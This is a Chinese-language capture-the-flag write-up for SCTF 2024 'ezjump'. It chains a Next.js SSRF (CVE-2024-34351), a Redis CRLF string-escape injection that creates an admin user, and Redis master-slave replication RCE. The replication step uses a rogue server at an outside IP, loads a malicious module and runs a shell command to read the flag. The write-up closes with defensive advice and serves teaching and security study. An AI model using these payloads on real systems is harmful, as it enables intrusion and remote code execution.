2024SCTF ezjump wp&出题记录
字数 1488 2025-08-22 12:22:54
SCTF 2024 ezjump 题目分析与解题教学
题目概述
这是一个基于 Docker 容器环境的 CTF 题目,包含三个服务:
- fronted: 暴露在公网的 Next.js 前端服务
- backend: 后端服务
- redis: Redis 数据库服务
flag 位于 redis 机器的根目录 /flag。
环境分析
服务架构
- fronted 容器暴露在公网
- backend 和 redis 容器仅在内部网络
- flag 位于 redis 容器的根目录
fronted 服务分析
- 使用 Next.js 14.1.0 版本
- 有两个路由:
/play: 3秒内解答数学题,得分超过10000分跳转到/success/success: 可直接访问(无认证)
- 存在 CVE-2024-34351 漏洞(Next.js 的 SSRF 漏洞)
backend 服务分析
- 提供
/login路由,可创建新用户 - 用户信息存储在 redis 中
- 目标是创建 role 为 admin 的用户
- 提供了 curl 命令执行功能(需要 admin 权限)
漏洞利用步骤
第一步:利用 Next.js SSRF 漏洞
Next.js 14.1.0 存在 CVE-2024-34351 漏洞,可通过 redirect() 函数触发 SSRF。
利用代码示例(main.ts):
Deno.serve({ hostname: "0.0.0.0", port: 8000 }, (request: Request) => {
console.log("Request received: " + JSON.stringify({
url: request.url,
method: request.method,
headers: Array.from(request.headers.entries()),
}));
// HEAD - 'Content-Type', 'text/x-component'
if (request.method === 'HEAD') {
return new Response(null, {
headers: { 'Content-Type': 'text/x-component' },
});
}
// GET - redirect to backend
if (request.method === 'GET') {
return new Response(null, {
status: 302,
headers: { Location: 'http://172.11.0.3:5000/' },
});
}
});
启动服务:
deno run --allow-net --allow-read main.ts
利用方法:
- 使用 Burp Suite 抓取跳转包
- 修改 Host 和 Origin 地址为攻击者 VPS 地址
第二步:Redis 字符串逃逸创建 admin 用户
分析 Utils/redis.py 发现 SET 操作时调用 waf() 函数,将 "admin" 替换为 "hacker"(多一个字符),可利用字符串逃逸。
payload 构造:
/login?username=adminadminadmin...admin%0D%0A$1%0D%0A1%0D%0A%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$15%0D%0Auser%3A5934020060%0D%0A$52%0D%0AeyJwYXNzd29yZCI6ICJleHBleHAiLCAicm9sZSI6ICJhZG1pbiJ9%0D%0A%0D%0A%0D%0A&password=123
其中:
- 大量重复的 "admin" 用于触发字符串逃逸
- 后续是 Redis 协议格式的 SET 命令
- 设置用户 5934020060 的 role 为 admin
第三步:Redis 主从复制 RCE
利用 dict:// 协议进行 Redis 主从复制攻击:
- 准备 rogue Redis 服务器:
python3 redis_rogue_server.py -v -path exp.so -lport 21000
- 设置从服务器:
/login?username=5934020060&password=expexp&cmd=dict://127.0.0.1:6379/slaveof:47.108.254.70:21000
- 关闭 slave-read-only 配置(关键步骤):
config:set:slave-read-only:no
config:set:dir:/tmp
config:set:dbfilename:exp.so
slaveof:47.108.254.70:21000
-
重新写入键值对(因为主从复制会清空原有数据)
-
加载模块并执行命令:
module:load:./exp.so
system.exec:"cat${IFS}/flag"
关键点说明
-
Redis 字符串逃逸:
- 利用 waf 替换导致的长度变化
- 构造精确的 Redis 协议格式命令
- 需要计算好偏移量
-
主从复制攻击:
- 需要关闭 slave-read-only 配置
- 注意主从复制会清空从服务器数据
- 需要重新写入用户数据
-
协议限制绕过:
- 题目过滤了 gopher:// 和 file://
- 预期使用 dict://
- 非预期可通过 gopher:/{/172.11.0.4:6379_} 等方式绕过
防御建议
-
对于前端:
- 及时升级 Next.js 到安全版本
- 对 redirect 目标进行严格校验
-
对于后端:
- 实现完善的用户认证
- 对 Redis 输入进行严格过滤
- 避免使用用户输入拼接命令
-
对于 Redis:
- 设置密码认证
- 限制危险命令
- 保持 slave-read-only 开启
总结
本题综合利用了:
- Next.js 的 SSRF 漏洞
- Redis 字符串逃逸
- Redis 主从复制 RCE
- 协议限制绕过技巧
完整利用链较为复杂,需要熟练掌握 Redis 协议和主从复制机制,特别是处理 slave-read-only 配置和重新写入数据的步骤是关键。